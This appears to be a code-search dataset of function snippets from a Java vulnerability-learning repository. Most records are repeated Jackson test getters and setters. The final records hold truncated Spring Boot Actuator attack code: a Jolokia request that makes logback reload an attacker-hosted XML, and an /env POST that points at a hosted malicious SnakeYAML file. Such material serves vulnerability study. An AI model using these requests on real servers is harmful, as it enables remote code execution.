https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public Object getObject() { return object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setObject(Object object) { this.object = object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public InterfaceA getAa() { return aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setAa(InterfaceA aa) { this.aa = aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public Object getObject() { return object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setObject(Object object) { this.object = object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public InterfaceA getAa() { return aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setAa(InterfaceA aa) { this.aa = aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public C getC() { return c; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getC
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setC(C c) { this.c = c; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setC
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public Object getObject() { return object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setObject(Object object) { this.object = object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public InterfaceA getAa() { return aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setAa(InterfaceA aa) { this.aa = aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public C getC() { return c; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getC
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setC(C c) { this.c = c; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setC
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public Object getObject() { return object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setObject(Object object) { this.object = object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public InterfaceA getAa() { return aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setAa(InterfaceA aa) { this.aa = aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public Object getObject() { return object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setObject(Object object) { this.object = object; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setObject
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public InterfaceA getAa() { return aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setAa(InterfaceA aa) { this.aa = aa; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setAa
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public int getXx() { return xx; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getXx
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setXx(int xx) { this.xx = xx; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setXx
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public static void main(String[] args) { String target = "http://localhost:8080"; String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml"; HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML); ...
copy logback-evil.xml to http server root @author threedr3am
main
java
threedr3am/learnjavabug
spring/spring-boot-actuator-bug/actuator-1.2/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-1.2/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
MIT
public static void main(String[] args) { String target = "http://localhost:8080"; String evilXML = "http:!/!/127.0.0.1:23222!/logback-evil.xml"; HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);...
copy logback-evil.xml to http server root @author threedr3am
main
java
threedr3am/learnjavabug
spring/spring-boot-actuator-bug/actuator-1.3/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-1.3/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
MIT
public static void main(String[] args) throws UnsupportedEncodingException { String payload = "spring.cloud.bootstrap.location=http://127.0.0.1:80/snake-yaml-evil.yml"; String target = "http://localhost:8080"; HttpPost httpPost = new HttpPost(target + "/env"); HttpEntity httpEntity = new StringEntity(p...
copy snake-yaml-evil.yml to http server root @author threedr3am
main
java
threedr3am/learnjavabug
spring/spring-boot-actuator-bug/actuator-1.4/src/main/java/com/threedr3am/bug/spring/actuator/AttackSnakeYaml.java
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-1.4/src/main/java/com/threedr3am/bug/spring/actuator/AttackSnakeYaml.java
MIT
public static void main(String[] args) { String target = "http://localhost:8080"; String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml"; HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML); ...
copy logback-evil.xml to http server root @author threedr3am
main
java
threedr3am/learnjavabug
spring/spring-boot-actuator-bug/actuator-1.4/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-1.4/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
MIT